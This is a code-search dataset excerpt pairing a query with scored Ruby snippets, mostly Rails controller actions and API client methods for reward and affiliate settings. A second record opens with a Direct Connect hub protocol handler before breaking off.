[ { "docid": "b514648fafe866df5cdc20589ee1af64", "score": "0.7701516", "text": "def index\n @affiliate_reward_settings = AffiliateRewardSetting.all\n end", "title": "" }, { "docid": "1a4f831b5c1d2b0ec1d60ebe6a42262d", "score": "0.7481776", "text": "def set_affiliate_reward_setting\n @affiliate_reward_setting = AffiliateRewardSetting.find(params[:id])\n end", "title": "" }, { "docid": "836d542b4daf76a8ad9d944c040bea5e", "score": "0.69269675", "text": "def index\n @reward_settings = RewardSetting.all\n end", "title": "" }, { "docid": "5c8241daba0cc32f82a6af99b250ec40", "score": "0.6915531", "text": "def update\n respond_to do |format|\n if @affiliate_reward_setting.update(affiliate_reward_setting_params)\n format.html { redirect_to @affiliate_reward_setting, notice: 'Affiliate reward setting was successfully updated.' }\n format.json { render :show, status: :ok, location: @affiliate_reward_setting }\n else\n format.html { render :edit }\n format.json { render json: @affiliate_reward_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1813074cf1e3849c7371d6fcb008cf5a", "score": "0.6711144", "text": "def create\n @affiliate_reward_setting = AffiliateRewardSetting.new(affiliate_reward_setting_params)\n\n respond_to do |format|\n if @affiliate_reward_setting.save\n format.html { redirect_to @affiliate_reward_setting, notice: 'Affiliate reward setting was successfully created.' }\n format.json { render :show, status: :created, location: @affiliate_reward_setting }\n else\n format.html { render :new }\n format.json { render json: @affiliate_reward_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74d35ec4295f26a7834de105c3b26604", "score": "0.66445893", "text": "def set_reward_setting\n @reward_setting = RewardSetting.find(params[:id])\n end", "title": "" }, { "docid": "eeba3dc7db72771007347b0cf1aadacd", "score": "0.64167726", "text": "def affiliate_reward_setting_params\n params.require(:affiliate_reward_setting).permit(:points_for_registration, :min_purchase_amount_earn_points, :points_earn_for_min_amount, :min_points_to_redeem, :amount_for_min_redeem_points, :points_for_referral, :coupon_validity, :minimum_purchase_amount, :maximum_points_to_redeem, :minmum_purchase_amount_for_refer, :referee_premium_membership_validity, :maximum_orders_of_referee_to_consider)\n end", "title": "" }, { "docid": "afaa6475792c60bde1f30b337e0a6729", "score": "0.6373735", "text": "def update\n respond_to do |format|\n if @reward_setting.update(reward_setting_params)\n format.html { redirect_to @reward_setting, notice: 'Reward setting was successfully updated.' }\n format.json { render :show, status: :ok, location: @reward_setting }\n else\n format.html { render :edit }\n format.json { render json: @reward_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9bf610a45240fae380babea4aabd13b", "score": "0.60052925", "text": "def reward_setting_params\n params.require(:reward_setting).permit(:points_for_registration, :min_purchase_amount_earn_points, :points_earn_for_min_amount, :min_points_to_redeem, :amount_for_min_redeem_points, :points_for_referral,:coupon_validity,:maximum_points_to_redeem,:minmum_purchase_amount_for_refer,:referee_premium_membership_validity,:unit_reward_points_to_redeem)\n end", "title": "" }, { "docid": "abd29442d103db24c56218a131600c41", "score": "0.5995382", "text": "def set_api_v1_user_reward\n @api_v1_user_reward = Api::V1::UserReward.find(params[:id])\n end", "title": "" }, { "docid": "cc547ff5e50ff5c1c7009fcb8d401968", "score": "0.5961018", "text": "def destroy\n @affiliate_reward_setting.destroy\n respond_to do |format|\n format.html { redirect_to affiliate_reward_settings_url, notice: 'Affiliate reward setting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "020aef71b87f0ddcd0322c32ab233f7c", "score": "0.5844623", "text": "def show\n @reward = current_user.rewards.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "9b64e1b5c329341b672800f81cd996e6", "score": "0.5811061", "text": "def set_api_v1_reward_action\n @api_v1_reward_action = Api::V1::RewardAction.find(params[:id])\n end", "title": "" }, { "docid": "4708b8b7571acb9e3c618b18ab4d7c07", "score": "0.579792", "text": "def get_reward(options={})\n # make the GET call\n path = '/reward'\n\n options.merge!({:access_token => @access_token})\n raw_response = Punchtab::API.get(path, :query => options)\n Punchtab::Utils.process_response(raw_response)\n end", "title": "" }, { "docid": "77baf803cae3845a7c953b2e6b888a74", "score": "0.57345116", "text": "def create\n @reward_setting = RewardSetting.new(reward_setting_params)\n #@reward_setting.id=2\n respond_to do |format|\n if @reward_setting.save\n format.html { redirect_to @reward_setting, notice: 'Reward setting was successfully created.' }\n format.json { render :show, status: :created, location: @reward_setting }\n else\n format.html { render :new }\n format.json { render json: @reward_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "032d96e34b34f50094826cccb00edba3", "score": "0.5725663", "text": "def index\n @api_v1_user_rewards = Api::V1::UserReward.all\n end", "title": "" }, { "docid": "b517888ab9b853afabeb2c5624d86797", "score": "0.5695635", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "b3fe616cbedec8a255d1c47690c7def9", "score": "0.5695101", "text": "def index\n @affiliate_setting = AffiliateSetting.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @affiliate_setting }\n end\n end", "title": "" }, { "docid": "7845017f97d9d7c947ff69231d318f11", "score": "0.5677013", "text": "def api_v1_user_reward_params\n params.fetch(:api_v1_user_reward, {})\n end", "title": "" }, { "docid": "36e393ed48288c353c75ebbc8d5ae8f0", "score": "0.5665295", "text": "def new\n @reward = @restaurant.rewards.build\n @reward.share_link = SecureRandom.hex(5)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "a16648c8c1a72f1dec8df80b26631abd", "score": "0.5615142", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "c79a43374675f4fb3e2f038b959a4657", "score": "0.56099856", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "7bf7093ce47b224c7c88c8dde3dcda50", "score": "0.56048435", "text": "def residual_bonus\n render json: {\n rewards: @current_user.rewards.where(reward_type_id:15).order(created_at: :desc).map { |x| referral_filter(x) }.compact\n }\n end", "title": "" }, { "docid": "89b3840d4fa79076b91c503909341371", "score": "0.56034684", "text": "def settings\n new ReputationSettings(response['settings'], self)\n end", "title": "" }, { "docid": "b427e83f4594781f5290569bfba54851", "score": "0.5600238", "text": "def set_reward\n @reward = reward.find(params[:id])\n end", "title": "" }, { "docid": "3a3346f1478c892443401347e8339432", "score": "0.55756724", "text": "def index\n @advance_settings = AdvanceSetting.all\n end", "title": "" }, { "docid": "2b754ec10274b8916bbb7e4ec0e570b6", "score": "0.55747974", "text": "def index\n @premium_registration_settings = PremiumRegistrationSetting.all\n end", "title": "" }, { "docid": "2a037e170db4b32327eaec9f7ab9f639", "score": "0.5574617", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "d175ad766242a3bb8990a85e4a619563", "score": "0.5571256", "text": "def index\n @api_v1_reward_actions = Api::V1::RewardAction.all\n end", "title": "" }, { "docid": "e6385bddeaf52c69ce536810015c3e1e", "score": "0.5553366", "text": "def reward_params\n params.require(:reward).permit(:shop_id, :country_id, :product_reward, :point_to_usd, :point_to_lcy, :currency_id, :fullfilment_mode, :available_products, :delivery_mode, :gift_delivery_id, :surf_voucher_generation, :voucher_use, :voucher_instruction, :bonus_exchange, :point_to_bonus, :bonus_min_time, :bonus_max_time, :gift_min_time, :gift_max_time, :no_card_instruction, :other_instruction)\n end", "title": "" }, { "docid": "74f510daaccdbc7ab47af7211049c766", "score": "0.5547369", "text": "def set_user_reward\n @user_reward = UserReward.find(params[:id])\n end", "title": "" }, { "docid": "74f510daaccdbc7ab47af7211049c766", "score": "0.5547369", "text": "def set_user_reward\n @user_reward = UserReward.find(params[:id])\n end", "title": "" }, { "docid": "a0be0e60a6226f7f748ca1a9601944bb", "score": "0.5543287", "text": "def set_reward\n @reward = Reward.find(params[:id])\n end", "title": "" }, { "docid": "b83568c1af52e5fa08ad1f04efe20be1", "score": "0.5533526", "text": "def show\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "b83568c1af52e5fa08ad1f04efe20be1", "score": "0.5530546", "text": "def show\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "b83568c1af52e5fa08ad1f04efe20be1", "score": "0.5530546", "text": "def show\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "b83568c1af52e5fa08ad1f04efe20be1", "score": "0.5530546", "text": "def show\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "c572fa1384877bf53bd6f4473c6066b0", "score": "0.55229104", "text": "def show\n @affiliate_setting = AffiliateSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @affiliate_setting }\n end\n end", "title": "" }, { "docid": "16ee3534e49205cb87680d5edc161c29", "score": "0.55209494", "text": "def set_tournament_reward\n @tournament_reward = TournamentReward.find(params[:id])\n end", "title": "" }, { "docid": "ce0e376b021cadcda7c38113b7a0ec23", "score": "0.54891586", "text": "def set_reward_application\n @reward_application = current_user.reward_applications.find(params[:id])\n end", "title": "" }, { "docid": "215a3f46f847b283ff86217069d63e5f", "score": "0.5485491", "text": "def show\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reward }\n end\n end", "title": "" }, { "docid": "cffa74e49f9e7bc99eb237ce6bc4155c", "score": "0.54807556", "text": "def show\n @fund_reward = FundReward.find(params[:id])\n\n render json: @fund_reward\n end", "title": "" }, { "docid": "f9e3b2d50223773485d464ef9e5ebbdc", "score": "0.54622173", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "fcd5785b58d2553c47e47bbd6872b32e", "score": "0.545516", "text": "def user_reward_params\n params.require(:user_reward).permit(:user_id, :reward_id)\n end", "title": "" }, { "docid": "7c2ea38628d65fcfed9ba84ceec62b88", "score": "0.5454365", "text": "def tournament_reward_params\n params.require(:tournament_reward).permit(:reward_type)\n end", "title": "" }, { "docid": "2b443747948d5ef5a68c185db0b1c751", "score": "0.54452455", "text": "def show\n @ca_reward = CaReward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ca_reward }\n end\n end", "title": "" }, { "docid": "ad9bfb0be75f0290e2d8178fb6dc905f", "score": "0.5441283", "text": "def referrals\n render json: {\n rewards: @current_user.rewards.where(reward_type_id:12).order(created_at: :desc).map { |x| referral_filter(x) }.compact,\n counter: User.all.where(sponsor_uuid: @current_user.uuid).count\n }\n end", "title": "" }, { "docid": "1eb4e6d076e9c1642e88dd24e6247e92", "score": "0.5440822", "text": "def set_reward_type\n @reward_type = RewardType.find(params[:id])\n end", "title": "" }, { "docid": "c721507499c5bc9a1383c1f254ed7763", "score": "0.54276395", "text": "def destroy\n @reward_setting.destroy\n respond_to do |format|\n format.html { redirect_to reward_settings_url, notice: 'Reward setting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3a40385b2608a2fe754ee2880b1ae1a5", "score": "0.542536", "text": "def user_reward_params\n params.fetch(:user_reward, {})\n end", "title": "" }, { "docid": "19c728e3fe44b8297a33c84156c8693e", "score": "0.54008365", "text": "def reward_params\n params.require(:reward).permit(:result_no, :generate_no, :e_no, :reword_type_id, :value)\n end", "title": "" }, { "docid": "616fd6a04cd4383e9abd343dbd522950", "score": "0.5397195", "text": "def show\n authorize :reminder, :show?\n\n respond_to do |format|\n format.html\n format.json { render :json => @reward, status: 200 }\n end\n end", "title": "" }, { "docid": "b1deb0591a0e2345ad1f7829b575874c", "score": "0.5369849", "text": "def reward_params\n params.require(:reward).permit!\n end", "title": "" }, { "docid": "882f7e5f51e4fb6e325c8a054e279a05", "score": "0.5363897", "text": "def index\n @reward_types = RewardType.all\n end", "title": "" }, { "docid": "1c81b025f316d88fe6ec286f05b5d54a", "score": "0.53579885", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tournament_reward }\n end\n end", "title": "" }, { "docid": "c93e82cefc77a249f916a232a46fc758", "score": "0.5349736", "text": "def set_claimed_reward\n @claimed_reward = ClaimedReward.find(params[:id])\n end", "title": "" }, { "docid": "03bc60ace3a266def391fc178c754f7d", "score": "0.5323175", "text": "def show\n @reward_type = RewardType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @reward_type }\n end\n end", "title": "" }, { "docid": "8092f7a4d385a46c6b7a62f8230b1708", "score": "0.53226024", "text": "def reward_params\n params.require(:reward).permit(:id)\n end", "title": "" }, { "docid": "e6a02b6fc92410655860207ded97234a", "score": "0.52776575", "text": "def reward_params\n params.require(:reward).permit(:order_id, :line_item_id, :member_id, :amount, :rate, :points, :created_by, :updated_by)\n end", "title": "" }, { "docid": "4a2721c6c8908fbf29c47b4ed0d4970f", "score": "0.5269037", "text": "def get_reward_sets_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CampaignsRewardsApi.get_reward_sets ...\"\n end\n # resource path\n local_var_path = \"/rewards\"\n\n # query parameters\n query_params = {}\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceRewardSetResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CampaignsRewardsApi#get_reward_sets\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "81b8049677e293406f59c1150bb61adb", "score": "0.5268475", "text": "def reward_params\n params.require(:reward).permit(:title, :value, :description, :quantity, :estimated_delivery, :project_id)\n end", "title": "" }, { "docid": "af6f6b7fe422ba9225414624d6fc362c", "score": "0.5251888", "text": "def new\n @reward = current_user.rewards.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "3f9e0eadd990e86e7a1e0bf7f99c28b4", "score": "0.5249206", "text": "def default_ownership\n @conn.get('/api/v1/site-ownership')\n end", "title": "" }, { "docid": "9c01404891d814bf101143823513b446", "score": "0.5226305", "text": "def index\n @user_rewards = UserReward.all\n end", "title": "" }, { "docid": "9eccf443874b8c672cabae2f6c17a799", "score": "0.5218024", "text": "def update\n respond_to do |format|\n if @api_v1_user_reward.update(api_v1_user_reward_params)\n format.html { redirect_to @api_v1_user_reward, notice: 'User reward was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_user_reward }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_user_reward.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9f1bd320c612e89044b18f4d379bcb8", "score": "0.52009743", "text": "def new\n @affiliate_setting = AffiliateSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @affiliate_setting }\n end\n end", "title": "" }, { "docid": "aadba868a7e67da50b039d1d00f0dfbe", "score": "0.5199929", "text": "def set_rewards_pal\n @rewards_pal = RewardsPal.find(params[:id])\n end", "title": "" }, { "docid": "5471b90a3e68381e6af34fbb9890c5f3", "score": "0.5194184", "text": "def set_reward_recommendation\n @reward_recommendation = RewardRecommendation.find(params[:id])\n end", "title": "" }, { "docid": "ed94b41ef3bfcbf56eb2a90200831875", "score": "0.51755506", "text": "def show\n @reward = params[:reward]\n @balance = get_balance @player\n @unconfirmed_balance = get_unconfirmed_balance @player\n end", "title": "" }, { "docid": "ed1039f535b92c8b3f637ff6eb233f33", "score": "0.5174005", "text": "def rewards(type=nil)\n if type.nil?\n results = self.class.get(\"/rewards/search\", :body => {:client_key => CLIENT_KEY})\n else\n results = self.class.get(\"/rewards/search?type=type\", :body => {:client_key => CLIENT_KEY})\n end\n results.collect{|r| Hashie::Mash.new(r['reward'])}\n end", "title": "" }, { "docid": "99941cd481d092c70107b9c6992adae5", "score": "0.51734275", "text": "def update\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n if @reward.update_attributes(params[:reward])\n format.html { redirect_to merchant_path(@reward.merchant_id), notice: 'Reward was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reward.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81f7528bb16e7898138463bb48c710c0", "score": "0.5164733", "text": "def index\n @affiliate_links = AffiliateLink.find(:all)\n #@affiliate_setting = AffiliateSetting.find_by_account_id(current_account)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @affiliate_links }\n end\n end", "title": "" }, { "docid": "0515456e20a6179a1a1296d01223c308", "score": "0.51636285", "text": "def update\n @reward = current_user.rewards.find(params[:id])\n\n respond_to do |format|\n if @reward.update_attributes(rewards_params)\n format.html { redirect_to @reward, notice: 'Reward was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reward.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c50efd68042ccf027d4a96809781c4d9", "score": "0.51628816", "text": "def query_settings(options={}) path = \"/api/v2/settings\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "0084e5aa9c7d0a7a23c0138cc8e89b1a", "score": "0.5153514", "text": "def show(reward_id)\r\n\r\n # Validate required parameters\r\n if reward_id == nil\r\n raise ArgumentError.new \"Required parameter 'reward_id' cannot be nil.\"\r\n end\r\n\r\n # the base uri for api requests\r\n _query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n _query_builder << '/rewards/{reward_id}'\r\n\r\n # process optional query parameters\r\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\r\n 'reward_id' => reward_id\r\n }\r\n\r\n # validate and preprocess url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'Authorization' => 'Bearer %s' % (Configuration.o_auth_access_token)\r\n }\r\n\r\n # Create the HttpRequest object for the call\r\n _request = @http_client.get _query_url, headers: _headers\r\n\r\n # Call the on_before_request callback\r\n @http_call_back.on_before_request(_request) if @http_call_back\r\n\r\n # Invoke the API call and get the response\r\n _response = @http_client.execute_as_string(_request)\r\n\r\n # Wrap the request and response in an HttpContext object\r\n _context = HttpContext.new(_request, _response)\r\n\r\n # Call the on_after_response callback\r\n @http_call_back.on_after_response(_context) if @http_call_back\r\n\r\n # Global error handling using HTTP status codes.\r\n validate_response(_context)\r\n\r\n # Return appropriate response type\r\n decoded = APIHelper.json_deserialize(_response.raw_body) if not (_response.raw_body.nil? or _response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "9de5e9f1f2150198882a8a3f9f62cfbd", "score": "0.5148606", "text": "def uri\n GoodData::Helpers.get_path(@json, %w(accountSetting links self))\n # @json['accountSetting']['links']['self']\n end", "title": "" }, { "docid": "bb5a531d93b2cd7254e5f10fc38ec38b", "score": "0.5146856", "text": "def update\n respond_to do |format|\n if @user_reward.update(user_reward_params)\n format.html { redirect_to @user_reward, notice: 'User reward was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_reward }\n else\n format.html { render :edit }\n format.json { render json: @user_reward.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d4b87f06b4a6cd4751ff6046613a753", "score": "0.5137366", "text": "def retrieve_loyalty_reward(reward_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/loyalty/rewards/{reward_id}',\n 'default')\n .template_param(new_parameter(reward_id, key: 'reward_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "title": "" }, { "docid": "68ab0f74c39973eeee1ce588b2af872d", "score": "0.5136825", "text": "def show\n \n @current_date = DateTime.now\n @skills = Skill.all\n @request_selection = RequestSelection.find(params[:request_selection_id])\n \n \n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reward }\n end\n end", "title": "" }, { "docid": "15baf40ef961153eacacbc118b738ef6", "score": "0.5135388", "text": "def index\n @insurance_settings = current_ou.insurance_settings.all\n end", "title": "" }, { "docid": "70b4e3db01a843730b4ba09786925701", "score": "0.5125649", "text": "def reward_params\n params.require(:reward).permit(:name, :recompensa, :status,\n type_association_attributes: [:id, :type_rule_id,\n :dta_inicio, :dta_fim,\n :regra, :quantidade, :_destroy, priority: []])\n end", "title": "" }, { "docid": "f4d7b46c9ac613ffa589e3e35a68634d", "score": "0.51209855", "text": "def rate_limit_status\n get('/account/rate_limit_status.json')\n end", "title": "" }, { "docid": "f4d7b46c9ac613ffa589e3e35a68634d", "score": "0.51209855", "text": "def rate_limit_status\n get('/account/rate_limit_status.json')\n end", "title": "" }, { "docid": "97d9ae5bad0ddbe66916bb38789ebe4a", "score": "0.51199085", "text": "def reward_params\n params.require(:reward).permit(:name, :description, :cost, :group_id, :user_id, :claimed_time)\n end", "title": "" }, { "docid": "b4dc549f2658a0815ac669071e493bc8", "score": "0.51125795", "text": "def settings; JSON[Api::get_settings(self)]; end", "title": "" }, { "docid": "3a65a205587b67e820dcff8cb00cf761", "score": "0.5105285", "text": "def autocredit_setting\n LeaveYear.create_credit_configuration\n @settings = Configuration.find_by_config_key('AutomaticLeaveCredit')\n end", "title": "" }, { "docid": "183be76f85aab47e343c5afe65b7f8b4", "score": "0.5102634", "text": "def api_v1_reward_action_params\n params.fetch(:api_v1_reward_action, {})\n end", "title": "" }, { "docid": "288b7a8ad92bdef65b4399e860871d30", "score": "0.50892967", "text": "def reward_for rewardable\n rewards.find_by rewardable: rewardable\n end", "title": "" }, { "docid": "4f932d730a6d941e05a917f210177dde", "score": "0.50796545", "text": "def update\n respond_to do |format|\n if @reward.update(reward_params)\n format.html { redirect_to @reward, notice: 'Reward was successfully updated.' }\n format.json { render :show, status: :ok, location: @reward }\n else\n format.html { render :edit }\n format.json { render json: @reward.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "8458dcfbbceb77673eafcbdcd9038970", "score": "0.5076836", "text": "def current_reward_page\n @current_reward_page ||= RewardPage.find_by!(identifier: params[:reward_page_id] || params[:id])\n end", "title": "" }, { "docid": "53ba1f5878647eeadbbbd7c4bba36cdd", "score": "0.5069698", "text": "def index\n @tournament_rewards = TournamentReward.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tournament_rewards }\n end\n end", "title": "" }, { "docid": "8c5355b2f232da0eb547d98259f809cb", "score": "0.5065588", "text": "def index\n @rewards_pals = RewardsPal.all\n \n end", "title": "" }, { "docid": "26868c9eadada4522e814a9ea8d9519c", "score": "0.5061769", "text": "def set_reward_order\n @reward_order = RewardOrder.find(params[:id])\n end", "title": "" }, { "docid": "1def27a292e38c498ddbd0892748aca9", "score": "0.50569886", "text": "def recommendation_insight_settings\n return @recommendation_insight_settings\n end", "title": "" }, { "docid": "7d3d4463da8313e4ebe33856ef175b66", "score": "0.50545084", "text": "def create_reward_set_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CampaignsRewardsApi.create_reward_set ...\"\n end\n # resource path\n local_var_path = \"/rewards\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'reward_set_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RewardSetResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CampaignsRewardsApi#create_reward_set\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "24cff625b8a6149fafa00f29cd498002", "score": "0.5051051", "text": "def set_reward\n @pledge = pledge.find(params[:id])\n end", "title": "" } ]
bcb5bf133c1545252ac7a52003fb7a03
See < for specifics on the DC protocol
[ { "docid": "24bf750f4a175bd261a9c110e3f429bd", "score": "0.0", "text": "def receive_message type, message\n case type\n when :lock\n @validated = false\n send_message 'Key', generate_key(message[:lock])\n when :hubname\n @hubname = message[:name]\n send_message 'ValidateNick', @client.config.nick unless @validated\n when :getpass\n send_message 'MyPass', @client.config.password\n when :badpass, :hubfull\n Fargo.logger.info \"Disconnecting because of: #{message.inspect}\"\n close_connection_after_writing\n when :hello\n if message[:nick] == @client.config.nick\n Fargo.logger.info \"Connected to DC Hub #{@hubname}\"\n @validated = true\n\n send_message 'Version', '1,0091'\n send_message 'MyINFO', \"$ALL #{@client.config.nick} \" +\n \"#{@client.description}$ $#{@client.config.speed}\" +\n \"#{@status || 1.chr}$#{@client.config.email}\" +\n \"$#{@client.share_size}$\"\n send_message 'GetNickList'\n end\n\n when :connect_to_me\n EventMachine.connect message[:address], message[:port],\n Protocol::Peer do |conn|\n conn.client = @client\n conn.send_lock # We connect first, we send lock first\n end\n\n when :search\n # Let the client handle the results\n search = Search.new message\n listings = @client.search_local_listings search\n\n results = listings.map do |l|\n file = l.path.gsub '/', \"\\\\\"\n if l.tth.nil?\n s = file\n else\n s = \"#{file}\\005#{l.size}\"\n end\n\n s + sprintf(\" %d/%d\\005%s (%s:%d)\", @client.open_upload_slots,\n @client.config.upload_slots,\n l.tth.nil? ? @hubname :\n 'TTH:' + l.tth,\n @client.config.hub_address,\n @client.config.hub_port)\n end\n\n # Send all the results to the peer. Take care of active/passive\n # connections\n if message[:address]\n socket = EventMachine.open_datagram_socket '0.0.0.0', 0\n results.each{ |r|\n data = \"$SR #{@client.config.nick} #{r}|\"\n client.debug \"out-user\", data, RED\n socket.send_datagram data, message[:address], message[:port]\n }\n socket.close_connection_after_writing\n else\n results.each{ |r|\n send_message 'SR',\n \"#{@client.config.nick} #{r}\\005#{message[:searcher]}\"\n }\n end\n\n when :revconnect\n if @client.config.passive\n send_message 'RevConnectToMe',\n \"#{@client.config.nick} #{message[:who]}\"\n else\n send_message 'ConnectToMe', \"#{message[:who]} #{@client.config.address}:#{@client.config.active_port}\"\n end\n\n # proxy this message on up the stack if we don't handle it\n else\n super\n\n end\n end", "title": "" } ]
[ { "docid": "5a9c239ddfc810dc44c25ff426860250", "score": "0.6048034", "text": "def connection_type\n :dc\n end", "title": "" }, { "docid": "5f3bd50ea129c1a325a4bafc165d4ebb", "score": "0.60143775", "text": "def ips_sd; end", "title": "" }, { "docid": "d631b73c6b84eb851105e1f379833cf4", "score": "0.60095286", "text": "def _protocol; end", "title": "" }, { "docid": "e0474f7b6007d08045eb07094a8e0856", "score": "0.5867715", "text": "def drb_port; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "73c4448347bca4d0de6f881499697b02", "score": "0.58217776", "text": "def protocol; end", "title": "" }, { "docid": "6fa9b27db2f84261ecfac5e0ab39e3db", "score": "0.5731203", "text": "def request_charged; end", "title": "" }, { "docid": "6fa9b27db2f84261ecfac5e0ab39e3db", "score": "0.5731203", "text": "def request_charged; end", "title": "" }, { 